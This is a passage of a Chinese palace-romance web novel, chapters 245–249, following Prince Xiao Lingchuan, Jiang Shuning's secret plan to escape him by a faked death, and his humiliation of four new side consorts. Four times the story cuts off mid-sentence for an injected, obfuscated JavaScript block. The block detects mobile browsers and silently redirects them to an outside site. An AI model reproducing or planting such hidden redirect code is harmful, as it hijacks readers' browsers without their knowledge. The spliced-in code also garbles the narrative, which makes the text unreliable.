萧凌川待他们情绪稍稍平复,才温声道:“岳父,岳母,都请入座吧。家宴已经备好,外面天寒,先暖暖身子。” 他这一声“岳父岳母”,叫得自然无比,让姜丞相夫妇受宠若惊,连忙躬身行礼:“王爷客气了,老臣\臣妇不敢当。” 在他们看来,毒死姜莲一案已经是个死局,若非萧凌川从中周旋,以雷霆手段破了这个局,他们的女儿恐怕早就被大理寺判处**。 这份恩情,重如泰山。 “一家人,不必多礼。”萧凌川亲自扶起姜丞相,态度谦和恭敬,丝毫没有平日里的阴鸷与张狂。 一家人重新落座,气氛温馨得有些不真实。 席间,萧凌川频频为姜姝宁布菜,又对姜丞相夫妇嘘寒问暖,将一个体贴女婿的形象扮演得淋漓尽致。 姜天泽在一旁看着,不免觉得有些膈应。 这景王也太能装了吧? 他举起酒杯,对姜丞相道:“岳父请放心,本王在此承诺,待过了年关,便会以王妃之礼,将聘礼悉数送到府上。姝宁是本王此生认定的妻子,绝不会让她受半点委屈。” 姜丞相激动得满脸通红,连忙举杯:“能得王爷厚爱,是小女的福气!” 萧凌川黑眸转向姜姝宁,目光灼热而专注,话语却掷地有声,响彻整个厅堂:“待本王问鼎天下那一日,姝宁便是这天底下最尊贵的女人,是本王唯一的皇后。” 这番野心勃勃的发言,如同一道惊雷,炸得姜丞相夫妇心神巨震。 他们面面相觑,一时之间不知如何做出回应。 姜姝宁垂下眼睫,没有任何回应,仿佛那番惊世骇俗的宣言与她无关。 姜天泽忍不住开口:“王爷慎言!若日后无法得偿所愿,单凭今日这番话,便足以连累我父母遭受牵连!” 萧凌川闻言,目光骤然冷厉,宛如寒冰般刺向姜天泽:“本王在自家府邸之内说的话,谁敢传扬出去?莫非你会?” “我……”姜天泽被这话噎住,一时无言以对,面色涨红。 姜丞相见状,赶忙起身打圆场:“王爷息怒,天泽年少无知,言语冒犯,还望王爷海涵,莫要与他一般见识。” “无妨。”萧凌川语气一缓,嘴角却勾出一抹意味深长的笑意,故意道,“本王听闻三公子至今尚未议亲,不如此事就交给本王这个姐夫来操办,如何?” 姜天泽心头一紧,刚想开口拒绝,却见姜丞相已然拱手,满脸感激:“如此,便多谢王爷费心了!” 姜天泽气结,却只能低下头,筷子戳着碗中饭菜,心中不甘却又无可奈何。 萧凌川斜睨了他一眼,唇角悄然勾起一抹得逞的弧度。 他心下暗自盘算,定要好好打听一番,哪家贵女性情刁蛮、善妒又难缠,就挑这样的女子与这姜天泽结亲,方能将这桀骜不驯的狼崽子治得服服帖帖,再无暇来多管闲事,觊觎他的王妃! 第246章 有些亏欠是永远都弥补不了的 第二百四十六章有些亏欠是永远都弥补不了的 酒过三巡,萧凌川起身:“本王去去就回。” 他一离开,厅内的气氛霎时一松。 姜姝宁心跳加速。 机会来了。 她端起茶壶,起身为姜夫人添茶,身体微微前倾,宽大的衣袖顺势遮住了两人的手。 就在这时,一张折叠得极小的纸条,如同一片无声的落叶,悄无声息地从她指尖滑入到母亲宽大的袖口之中。 动作快如闪电,一触即分。 姜夫人微微一怔,随即若无其事地端起茶杯,轻抿了一口,用以掩饰脸上刹那的惊愕。 姜姝宁坐回原位,继续面色如常地吃着东西,仿佛刚刚的一切都未曾发生。 不多时,萧凌川便回来了,他深邃的目光在席间扫过,见众人神色如常,才满意地重新落座。 就在此时,一声清亮的呼啸划破夜空,随即一朵巨大的烟花在窗外轰然绽放,是牡丹的形状,璀璨的火光瞬间照亮了半边天际。 紧接着,第二朵,第三朵……无数烟花接连升空,在漆黑的夜幕上绽开一朵又一朵绚烂的牡丹,流光溢彩,美不胜收。 姜夫人和姜丞相惊喜地望向窗外:“今年除夕,宫里竟放了这样盛大的烟花?” 萧凌川的目光,却始终不曾离开过姜姝宁。 他看着烟火的光芒在她清冷的眼眸中明明灭灭,薄唇勾起一抹满足的笑意,声音低沉而缱绻: “这不是宫里放的。” “这是本王在府里专程为王妃放的。” “去年除夕夜宫里的牡丹烟花,也是本王为王妃放的。” 听到这些话,姜姝宁目光不由自主地凝在窗外那绚烂绽放的牡丹烟花上,思绪却如潮水般翻涌。 他竟会为她放牡丹烟花? 前世,他对她庭院里那些精心培育的牡丹总是嗤之以鼻,斥之为无用的奢靡之物。 如今却肯为她费尽心思,摆出这副刻意讨好的姿态。 是想用这种方式弥补前世对她的亏欠吗? 可**,有些亏欠是永远都弥补不了的。 “谢王爷。”姜姝宁神色浅淡,“我很喜欢。” 萧凌川握住她的手,目光灼热:“王妃若喜欢,本王愿年年除夕为你燃放烟花!” 姜姝宁浅浅一笑,未置一词。 他许得下年年烟花的诺言,可她,却未必会留在他身边相陪。 看完烟火,萧凌川亲自将姜丞相与姜夫人送到府门,目送他们的马车消失在风雪中。 马车行至半路,却被一队人马拦下,为首的马车上,悬挂着宁王府的徽记。 车夫老杨的声音透着紧张:“老爷,夫人,是……是宁王殿下。” 姜丞相神色一凛,心中虽疑窦丛生,却不敢怠慢,连忙携着家人下车,在寒风中躬身行礼:“老臣参见宁王殿下,不知殿下深夜在此,有失远迎。” 宁王萧怀瑾掀开车帘,一张素来温润的脸此刻却布满阴沉。 “姜丞相,你我在此相遇,并非偶然。本王是专程在此等候。你们今夜,见到姜姑娘了?” 姜丞相心头一跳,面色微僵,沉默不语。 “丞相不必紧张,”萧怀瑾的声音缓和了些,却更显压迫,“本王只想问一句,你们当真放心将姜姑娘托付给景王那样的人?他是我四哥,自幼在冷宫里长大,心中对父皇、对我们这些兄弟,都藏着外人看不透的恨。他那份不加掩饰的野心,难道你们就不怕,有朝一日会连累姜家,将你们置于万劫不复之地吗?” 这番话字字诛心,姜丞相的脸色愈发凝重。 他抬起头,迎着风雪,声音苍老而坚定:“宁王殿下的好意,老臣心领了。只是,老臣年事已高,就算真押错了宝,大不了,就将这条性命还给陛下。没什么可怕的。” 萧怀瑾急了:“丞相明知本王并非此意!本王只是觉得,姝宁……她本该有更好的选择!” “什么是更好的选择?”姜丞相忽然反问,声音缓慢却字字如磐石,“大理寺卿是宁王殿下的人吧?当小女蒙冤入狱时,他与老臣谈的是‘大邺律法’。老臣知道他奉公守法,可老臣是个父亲,也有私心。宁王殿下,您觉得,在那个当下,老臣是该将女儿托付给您,还是托付给那个不顾一切能将她救出火坑的景王呢?” 一番话,如同一记重锤,砸得萧怀瑾哑口无言。 良久,他才满脸挫败地挤出一句话:“此事……本王会让姜姑娘自己选择。” 话音落下,车帘重重垂下,隔绝了一切。 姜丞相回到自家马车上,车厢内一片死寂。 姜夫人忍不住轻声问:“老爷,您当真……就这么将宁儿托付给景王了?” “景王行事张扬,目中无人,这些我都知道。”姜丞相疲惫地靠在软垫上,缓缓道,“但此次毒害一案,却让我看清了他对宁儿的真心。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045670|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这把年纪,别无所求,只想将女儿交给那个在她危难时,肯为她豁出性命的人。显然,宁王不是。” 姜夫人欲言又止,最终只是将话悉数咽下。 她的手在宽大的袖袍下,死死攥着一张薄薄的纸条。 那是方才在席间,姜姝宁趁人不备塞给她的。 上面字迹寥寥,看得她心惊肉跳。 “若有一日,我‘暴毙’于王府,切莫悲伤,那并非终结,而是我为自己寻的生路。” 姜夫人心中无奈:老爷,你千算万算,看透了景王的真心,却没算到,我们的女儿,根本就不想要这份真心。 你以为为她寻了个庇护所,却不知她日夜谋划的,正是如何逃离这座华美的牢笼! 萧怀瑾失魂落魄地回到宁王府。 他沉声吩咐下人:“取酒来,要最烈的。” 贴身内侍一惊,连忙劝道:“王爷,明日您还要入宫给荣太妃请安,此刻饮酒,恐有不妥……” “本王的话,不想说第二遍。”萧怀瑾冷冷地打断他。 内侍不敢再言,只能端来一壶烈酒。 辛辣的酒液如火线般划过喉咙,胸口那股被姜丞相言语堵住的郁气,才稍稍纾解了几分。 他竟想将姜姑娘……托付给萧凌川! 明明他早已备好万全之策,只消再等几日,便能将姝宁从大理寺天牢中安然带出,是萧凌川不择手段地捷足先登! 他凭什么将姜姑娘囚于景王府,可曾问过她一句是否情愿? 想到此,萧怀瑾眼中的怨恨几乎要凝成实质。 他正欲再斟一杯,将自己彻底灌醉时,下人通报的声音在门外响起:“王爷,姜家三公子求见。” 姜天泽? 萧怀瑾动作一顿,脑海中浮现出那张与萧凌川有几分相似、却满是桀骜不驯的少年面容。 他心中虽有疑虑,还是沉声道:“让他进来。” 很快,姜天泽便出现在他面前。 他目光扫过桌上的酒壶,唇角勾起一抹毫不掩饰的嘲讽。 “你来做什么?”萧怀瑾带着几分酒意,语气不善。 “王爷这是在借酒浇愁?”姜天泽眼中的锐气逼人,“王爷无需如此,今夜我是来帮你的。” 萧怀瑾嗤笑一声:“帮我?你能帮本王做什么?” 姜天泽直视着他,一字一顿地说道:“帮你将我大姐姐,从景王府那个牢笼里救出来!” 第247章 他的悔意和恳求 第二百四十七章他的悔意和恳求 萧怀瑾审视着眼前的少年,眼中带着几分醉意与探究:“本王倒是意外。你眼中对本王的轻视,可从不遮掩。” 他一直以为,这桀骜不驯的姜家三公子,与他父亲一样,早已认定了萧凌川才是姜姝宁能够托付终身之人。 “因为从前的王爷,生于锦绣,长于坦途,不知人心鬼蜮。”姜天泽直言不讳,言语间竟有种超越年龄的锐利,“我怕你,护不住我姐姐。” 萧怀瑾闻言,竟自嘲一笑:“你倒是看得透彻。比起本王,景王的确更懂人性复杂,世事险恶。既然如此,你又为何要来寻本王?” 姜天泽心底冷哼一声:因为真正了解人性险恶的,是我! 也只有我,才有资格护住大姐姐! 但他说出来的却是另一番话:“因为大姐姐她根本不喜欢景王!” “你……确定?”萧怀瑾那双被酒意浸染的眸子瞬间迸发出清亮的光,他猛地坐直了身子,酒意都消散了大半。 “千真万确。”姜天泽语气笃定,“她是被迫困于景王府的囚鸟,比任何人都渴望挣脱那座牢笼!” 囚鸟……牢笼…… 这几个字像针一样刺入萧怀瑾的心口,让他心疼不已。 姜姑娘身处水深火热之中,而他方才竟因姜丞相几句话就自怨自艾,借酒消愁! “那你说,本王该如何做?如何才能将她救出来?” “只要景王活着一日,他就绝不会放过我姐姐。”姜天泽的脸上,浮现出一抹与他年龄不符的阴狠。 他凑近一步,声音压得极低,却字字淬冰,“要让她重获自由,只有一个法子……那就是让景王——死!” 萧怀瑾一怔,难以置信地看着他。 没想到眼前的少年竟是如此狠毒极端之人。 “我与景王虽然素来不合,但我们毕竟是手足,怎能如此随意取他性命?!况且,谋害亲王是死罪,本王可不想跟三哥一样,沦为大理寺的阶下囚!” 听他这么说,姜天泽在心里嘲笑他心慈手软,脸上却不显半分。 “既然王爷不愿行此险招,那便换个法子。我听说西洲国近来频繁进犯边境,不如寻个由头,将景王调去西榆前线。只要将他远远支开,我们便有的是机会将大姐姐救出景王府。” 萧怀瑾眉头紧锁,想也不想便否决:“西榆乃镇国将军的防区,贸然派景王前往,名为增援,实为夺权。此举不仅会惹怒王家,更会在朝中掀起轩然大波,此法不通。” 接连两个提议被否,姜天泽终于失去了耐心,脸上的最后一丝伪装也消失殆尽。 他站起身,冷冷看着萧怀瑾,语气中满是失望与轻蔑: “也难怪我父亲会选择景王。瞻前顾后,畏首畏尾……宁王殿下,比起不择手段的景王,您的确缺了不止一星半点的魄力!告辞。” “站住!”萧怀瑾被这句话刺得脸色铁青,他猛地站起身,“本王自有本王的办法,不必行你那等只知打杀的匹夫之道!” “哦?”姜天泽回过身,挑眉看他,眼中尽是挑衅,“那殿下的妙计,又在何处?” 萧怀瑾冷笑一声,目光投向窗外沉沉的夜色,声音里充满了运筹帷幄的笃定: “等到开春,他为了权势迎娶那四大门阀的贵女入府……到那时,姜姑娘自然就能脱身了。” 他萧凌川在朝堂上确有手段,可那方寸后宅,却未必是他能掌控的战场。 届时,只需后院燃起一把火,便足以让他自乱阵脚,暴露出致命的破绽! 对宁王府中的那场谋算,姜姝宁一无所知。 此刻的她,只想安然度过这个被酒气与情欲笼罩的夜晚。 萧凌川今夜喝了酒,又得了姜丞相的认可,那份压抑已久的渴望便如藤蔓般疯长。 他长臂一伸,将床上那道背对着他的纤细身影强行翻转过来。 炙热的吻裹挟着浓烈的酒气,不由分说地落下。 姜姝宁心头一惊,那熟悉的、带着侵略性的气息充斥在她的鼻息之间,她瞬间绷紧了身体。 她用力挣扎,却像是落入蛛网的蝶,徒劳无功。 当察觉到他的手探向自己裙摆时,她终于失声喊道:“萧凌川,你醉了!” 他的动作停下,半撑起身子,在昏暗的烛光下俯视着她。 那双潋滟的桃花眸里,翻涌着她看不懂的炙热情潮,像是能将世间一切都燃烧殆尽。 “本王从未像此刻这般清醒。”他声音喑哑,一字一句地问,“姝宁,为何总要推开本王?这一世,你到底要惩罚我到何时?” “惩罚?”姜姝宁仿佛听到了天大的笑话,唇角勾起一抹冰冷的弧度,“我何时惩罚过王爷?” 萧凌川抓住她的手,用力按在自己的胸口上,眼尾泛红:“你的冷漠,你的疏离,你每一个想从我身边逃走的念头,都像一把刀子,日夜扎在这里!难道你感受不到,它早已被你伤得千疮百孔了吗?” 姜姝宁感受着他掌心下剧烈的心跳,脸上的嘲讽之色更浓。 “王爷这样就受不了了?”她迎上他的目光,声音平静得近乎残忍,“那前世,我经受的那些痛苦,又算什么?” 一句话,让萧凌川浑身的力气仿佛瞬间被抽空。 与她所受的苦相比,自己这点痛确实算不上什么。 那是何等的绝望,才会让她选择服毒自尽,用最决绝的方式逃离他? 彻骨的恐惧瞬间攫住了他,他猛地收紧双臂,将她死死抱在怀里,仿佛要将她揉进自己的骨血之中,声音都在发颤:“……是我的错。姝宁,是我的错。” “你若不愿,本王……不碰你就是了。”他将脸埋在她的颈窝,声音喑哑,隐隐带着几分恳求,“只要你答应我,永远都不要用你的性命来惩罚我。” 姜姝宁在他怀中一动不动,任由他颤抖着抱着。 抱歉,王爷。 我恐怕不能遂你所愿了。 毕竟,除了“死”,我实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048638|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在想不出第二个逃脱你桎梏的法子了。 —— 迎娶四位侧妃的日子,终是到了。 京中那四家门阀,谁也不愿自家女儿在入府的次序上失了先机,几番明争暗斗,最终才定下这同一吉时、一同入府的“和局”。 这一日,景王府红绸漫天,鼓乐喧嚣,可这份泼天的喜气,却仿佛被一道无形的墙挡在了府门外,丝毫浸不透府内森然的寒意。 萧凌川身着一袭暗红色**袍,连一丝象征喜庆的正红都吝于沾染。 他立于府门前的台阶上,神情淡漠,仿佛眼前这场盛大的典礼,不过是一场与他无关的闹剧。 吉时已到,四顶花轿依次落下。 四个盖着红盖头的女子被喜娘扶出,莲步轻移,停在他的面前。 按照规矩,他该上前,亲自扶着她们跨过火盆,迎入府中。 然而,他动也未动。 他甚至没看她们一眼,只侧过身,对着身后的管家淡淡吩咐:“天寒地冻,仔细些,别让外头的泥雪脏了王府的红毯。” 话音落下,满院喧天的鼓乐竟诡异地停了一瞬。 所有宾客噤若寒蝉,气氛霎时降至冰点。 四个红色的身影,在寒风中微不可察地一僵。 喜娘满头是汗,硬着头皮上前打圆场:“王爷,吉时已到,该请侧妃娘娘们入府了。” 萧凌川这才懒懒地转过头,目光终于落在那四抹红色上,却像是在审视四件碍眼的死物。 他没有伸手,只对着虚空抬了抬下巴,吐出一个字: “进。” 连基本的礼数都懒得周全。 跨火盆时,王家嫡女王碧珊许是心神大乱,脚步稍慢,裙摆竟被火星燎着了一角。 喜娘惊呼着上前扑打,场面一片混乱。 萧凌川却只冷冷瞥了一眼,便径自转身向里走,轻飘飘的声音落在众人耳中,字字如冰:“规矩体统都学不好,往后如何伺候人?” 仿佛他今日不是娶亲,而是寻了几个奴婢入府。 王碧珊的身子剧烈一颤,盖头下的脸想必早已血色尽失。 好不容易进了正厅,司仪高声唱喏,准备行拜堂之礼。 萧凌川却看也不看那并排站立的四个新人,竟径直走到主位上坐下,端起茶盏,慢条斯理地吹了吹浮沫。 “夫妻对拜——” 司仪的唱喏声在空旷的正厅里回响,显得格外刺耳。 四个侧妃僵在原地,成了满堂宾客目光汇聚的笑柄。 “不必了。”他放下茶盏,终于开了金口,语气里满是乏味,“本王乏了。” 说罢,他径直起身,头也不回地朝后院走去,连一句“安置”的吩咐都未曾留下。 偌大的正厅里,只剩下四个穿着大红嫁衣的女子,像四座被遗弃在庆典上的华美雕像。 鲜艳的红盖头也遮不住满堂的窃窃私语和无声的嘲笑,更遮不住她们往后,那漫无边际的、冰冷的寒夜。 第248章 新婚之夜的冷落 第二百四十八章新婚之夜的冷落 宾客们的目光像无数根细密的针,扎在四个红色的身影上。 那窃窃的议论声从四面八方蔓延而来,仿佛要将她们的尊严一并吞噬。 王碧珊的肩膀在微微颤抖,赵家嫡女赵若晚则死死绞着手中的喜帕,指节泛白。霍家嫡女霍娴月更是气得胸口起伏,盖头下的银牙几乎要咬碎。 在这片令人窒息的静默里,唯有崔家嫡女崔芝兰,身形稳如磐石。 她对周遭的一切议论声充耳不闻,隔着一层厚重的红盖头,她侧过脸,声音不大,却清晰地传到了身旁早已手足无措的喜娘耳中: “王爷竟然走了,那就劳烦喜娘跟管家说一声,送我们去后院吧!” 喜娘这才从这场过分随意的娶亲中反应过来,脸上堆满了尴尬的笑,连忙点头应是,匆匆去找管家。 不多时,那方才跟在萧凌川身后的管家便领着几个仆妇过来了。 他面无表情,眼神里没有同情,亦没有鄙夷,只像是在处理一件再寻常不过的公事。 “四位侧妃娘娘,请随老奴来。” 他甚至没有任何解释,便转身领路,将她们带离了这个让她们沦为笑柄的正厅。 一行人穿过抄手游廊,绕过假山花园,最终被安置在一处名为“藏锦阁”的独立院落中。 院子倒是雅致,只是位置偏僻,远离主院,冷清至极。 四个侧妃各被分了一间房,陈设都是一模一样,喜庆的红烛高烧,桌上摆着精致的合卺酒和晚膳,却早已失了温度。 她们坐在床沿,头上的红盖头沉重如山,压得人喘不过气。 时间在烛火的摇曳中一点点流逝,她们从期盼,到焦虑,再到心一点点沉入谷底。 终于,门外响起了脚步声。 不是那个她们翘首以盼的男人,而是去而复返的管家。 他带来了萧凌川的口信,声音冰冷:“王爷乏了,让各位侧妃娘娘自行歇下,他今夜便不来了!” “哐当”一声,霍娴月猛地掀开盖头,狠狠摔在地上。 她一张美艳的脸因愤怒而涨得通红,双目圆睁,死死瞪着管家:“王爷不同我拜堂就算了,连新婚之夜也要留我独守空房?好歹我也是霍家嫡女,怎容他如此轻贱!” 管家眼皮都未曾抬一下,冷冷看着她:“霍侧妃,你既入了景王府,就应该知道,这景王府的规矩是王爷定下的,岂容侧妃置喙?还请霍侧妃注意自己的身份,莫要忘了入府的目的是什么。想必你们霍家家主应该告诉过你,锦瑟和弦之事,很难在景王府发生!” 这番话如同一盆冰水,兜头浇下。 “你!”霍娴月气得浑身发抖,却一个字都反驳不出来。 她自然清楚,她嫁的不是一个夫君,而是一份权势,一场交易。 可道理是道理,她长这么大,从来都是众星捧月,何曾受过这等奇耻大辱! 新妇的尊严,在踏入王府的第一刻,便被他亲手碾得粉碎。 往后在这深不见底的王府内,哪里还有她的立锥之地? 管家不再理会她,转身去了隔壁王碧珊的房间。 王碧珊已经自己揭了盖头,眼眶泛红,见管家进来,她连忙从袖中取出一个沉甸甸的荷包,悄悄塞过去,声音带着哀求:“管家,劳烦您在王爷面前替我美言几句,明日……明日若王爷有空,可否请他来我这儿坐坐?” 赵若晚那边也是一般无二,许诺了更多的好处,只求能见上王爷一面。 管家不接她们的东西,微微躬身,话说得滴水不漏:“二位侧妃娘娘的心意,老奴心领了。只是王爷的行踪,不是老奴可以左右的。天色已晚,还请娘娘早些安歇。” 婉拒之后,他去了最后一间房。 崔芝兰的房间里,她不知何时也已取下了盖头,正端坐在桌前,慢条斯理地为自己斟了一杯茶。 她脸上看不出喜怒,见到管家,也只是淡淡抬了抬眼。 听完管家的话,她既没有霍娴月的愤怒,也没有王碧珊等人的钻营,只是平静地点了点头:“知道了,劳烦管家。” 说完,便端起茶杯,自顾自地品了起来,显然对新婚夫君的冷落并不在意。 管家躬身退下,穿过寂静的庭院,径直往书房走去。 书房内,烛火通明。 萧凌川早已换下那身碍眼的红袍,着一身玄色常服,正临窗而坐,手中端着一盏清茶,袅袅的白雾模糊了他冷峻的眉眼。 “王爷。”管家恭敬地将方才藏锦阁发生的一切,事无巨细地禀报了一遍。 萧凌川听着,指尖轻轻摩挲着温热的杯壁,神色浅淡。 “霍娴月骄纵易怒,王碧珊、赵若晚急于求成,这三家,不足为惧。”他呷了一口茶,缓缓开口,声音在静夜里显得格外清冽,“但这崔侧妃,得时刻盯着。” 管家闻言,颇有些意外:“这是为何?老奴倒是觉得这崔侧妃不争不抢,性格沉稳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048639|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎……不像难相处之人。” 萧凌川发出一声极轻的冷笑,他放下茶盏,黑沉的眸子里掠过一丝阴鸷的寒光:“不争不抢,就是端倪。” “一个女人,以侧妃之位嫁进景王府,面对夫君拜堂时的羞辱、新婚夜的冷落,却能安之若素,半点也不在意能否攀附上本王……这证明,她来景王府,并非为了和本王结盟,也非为了荣华富贵。” 他的声音陡然沉了下去,带着一种洞悉一切的冰冷,“她定是另有所图!” 管家背脊一凛,瞬间恍然大悟,额上渗出细密的冷汗:“是,王爷!老奴明白了,老奴定会派人好生盯紧崔侧妃的一举一动!” —— 主院寝殿。 姜姝宁刚吹熄烛火,正准备入睡,人还没在被窝里躺稳,床榻猛地向下一沉,便被一只铁钳般的手臂强行捞入滚烫的怀里。 她浑身一僵,还未反应过来,萧凌川那带着薄怒与不满的磨牙声,便已在耳畔响起:“不等本王,就敢自己先睡了?” “王爷?”姜姝宁惊魂未定,下意识地反问,“今夜……不是您的大婚之夜吗?” 她本以为,今夜总算能从他这令人窒息的怀抱中,求得片刻喘息。 “那又如何?”黑暗中,萧凌川的声线染上几分讥诮,手臂却收得更紧,“你明知本王为何要娶她们。” 姜姝宁被他勒得有些喘不过气,忍不住道:“可她们毕竟是您名正言顺的侧妃。您今夜不宿在她们房中,若是传到那几家门阀耳中,怕是会惹他们不快……” 他喉间溢出一声极尽轻蔑的冷笑:“本王肯让她们顶着景王府侧妃的名头,已经是给了门阀天大的颜面。怎么,门阀还指望本王像那春香楼里的头牌一样,挨个去伺候恩客不成?” 姜姝宁紧绷的神经像是被这句话戳了一下,忍不住“噗嗤”一声笑了出来。 “好啊,你敢取笑本王?”萧凌川察觉到她在怀中发笑,佯装恼怒,一个翻身将她压在身下,大手游刃有余地探向她腰间最怕痒的软肉,“看本王怎么罚你!” “我……我没有……”姜姝宁最受不住这个,像条离水的鱼一样在他怀里躲闪扭动,笑得眼泪都快出来了,嘴上却还不肯求饶,“是王爷自己说的混账话,怎么还不许人笑了……” 满室的黑暗,都仿佛因这片刻的笑闹,而变得旖旎起来。 屋外守夜的婢女们面红耳赤,都默默地捂住了耳朵。 非礼勿听,非礼勿听! 第249章 吾之**,彼之蜜糖 第二百四十九章吾之**,彼之蜜糖 翌日清晨,天光微亮。 萧凌川怀中抱着温香软玉,正享受着这难得无需早朝的清闲,寝殿外却传来了下人战战兢兢的通报声。 “王爷,崔侧妃……在外求见,说是要按规矩来给您敬茶。” 姜姝宁在萧凌川怀中睁开眼,眸光清明。 姓崔的侧妃……应当就是宁王萧怀瑾的表妹了。 自己的表妹被崔家送入景王府这样的龙潭虎穴,想来萧怀瑾心中应该也不好受吧? “不见!”萧凌川眉头瞬间拧紧,有些不耐,“让她滚!” “可……可崔侧妃说,这是礼数,万万不可废……” 眼看萧凌川就要发作,姜姝宁轻轻拉了拉他的衣袖,柔声开口:“王爷,还是见一见吧。” 萧凌川猛地低头看她,神色瞬间阴沉下来,话语里带着浓重的醋意:“怎么,王妃这是在替她说话?因为她是崔家人?” 姜姝宁垂下眼睫,声音里染上了一丝恰到好处的落寞与自嘲:“自然不是。我只是……想起了前世的自己。” 她抬眸,迎上他探究的目光,唇边泛起一抹苦笑,“同为女子,我知道被夫君厌弃、被众人无视是何种滋味。她毕竟是名门贵女,昨日已受了那般委屈……我只是不愿看到旁人,再步我的后尘罢了。” 这一番话,如同一根软刺,精准地扎进了萧凌川心中最愧疚的地方。 胸腔里翻涌的怒火与猜忌,瞬间被一盆冰水浇灭,只剩下满腔心疼。 他伸手抚上她的脸颊,声音喑哑:“好,本王听你的。只要她们安分守己,本王便给她们该有的体面。” 说罢,他便起身更衣。 姜姝宁也跟着坐起身,他却按住她的肩膀,柔声道:“天冷,你再多睡会儿。” “左右也睡不着了,”她笑着起身,为他整理着衣领,状似无意地说道,“正好去看看我那些花草。” “那些东西比本王还重要?”萧凌川又不悦了。 “王爷忘了昨日那锅羊肉汤?”姜姝宁眨着眼,“我便是用其中一盆花的叶子去腥提鲜的。我种的可不是寻常的花草,它们既能入药,也能入膳,十分难能可贵的。” 听到这话,萧凌川的神色才彻底缓和下来,在她额上印下一吻:“去吧,披上斗篷,仔细别冻着。” “是,王爷。” 萧凌川并未察觉,在他转身离去后,姜姝宁唇边的笑意便缓缓敛去。 她的目光落在窗外那一盆盆落了积雪的绿植上,眼神幽深。 快了。 能让她彻底“解脱”的那味良药,就快长成了。 萧凌川踏入正厅时,崔芝兰正端然**。 她今日只着一身素雅长裙,眉眼间却自带一股世家贵女的清冷气度。 见他进来,她起身,不疾不徐地行了一个万福礼,动作挑不出一丝错处。 萧凌川的目光在空无一人的厅堂里一扫,最终落回她身上,唇角勾起一抹冰冷的弧度。 “崔侧妃倒是比旁人知礼。” “王爷谬赞,此乃妾身分内之事。”崔芝兰故意忽略他话中的嘲讽,神态谦卑地接过下人奉上的热茶,亲手递至他面前。 萧凌川漠然接过,一饮而尽,随即将空杯重重往桌上一搁,发出“嗑”的一声脆响。 “茶敬完了,下去。往后不必再来。” 他转身便走,没有丝毫拖泥带水。 崔芝兰却在他身后,用一种恰到好处的期盼语调开口: “王爷,妾身初来乍到,可否容妾身在这主院里走走?也好早日熟悉环境,以免日后失了分寸。” 萧凌川正要拒绝,门外已传来一阵急促杂乱的脚步声。 霍娴月、王碧珊、赵若晚三人,正满面愠色地快步而来。 当她们的目光触及崔芝兰时,那眼神几乎要将她身上剜下块肉来。 这个**,竟敢背着她们偷偷来见王爷! “妾身见过王爷!”三人强压着怒火行礼,目光却齐刷刷地钉在了旁边侍女端着的茶盘上,意图再明显不过。 崔芝兰敬了茶,她们自然也要敬茶! 萧凌川本就阴沉的脸色,此刻更是寒霜遍布。 “无需多礼,你们都退下吧!” 见他下逐客令,王碧珊忍不住道:“王爷,您既喝了崔侧妃的茶,若不喝我们的,岂非厚此薄彼,有失公允?” “公允?”萧凌川像是听到了天大的笑话,他缓缓逼近一步,周身散发的戾气让三个女人下意识地瑟缩了一下,“在本王府里,你们还敢跟本王讨要公允?!怎么,本王看起来像是会给的样子吗?” 三人被他这话噎得满脸通红,竟不知如何回答。 眼看气氛僵至冰点,崔芝兰柔柔上前,打圆场道:“王爷息怒,三位姐姐也是敬重王爷,并无他意。既然今日都来了,不若就让妾身和姐姐们一道在这院子里逛逛,如何?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050290|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此话一出,霍娴月三人虽心有不甘,却也找不到更好的台阶下,只能纷纷附和。 转瞬间,四个各怀鬼胎的女人,竟真的亲亲热热地挽起手臂,仿佛情同手足的姐妹一般,袅袅婷婷地朝院内走去。 凌风看着这一幕,忧心忡忡地低声道:“王爷,王妃如今在主院里……若是让她们撞见了,怕是不好。” “早晚要见,见了又何妨?”萧凌川的目光落在崔芝兰渐行渐远的背影上,眸色晦暗不明。 